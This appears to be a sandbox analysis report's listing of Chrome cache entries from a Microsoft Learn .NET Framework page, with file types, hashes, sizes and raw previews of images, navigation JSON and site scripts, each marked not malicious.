Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! 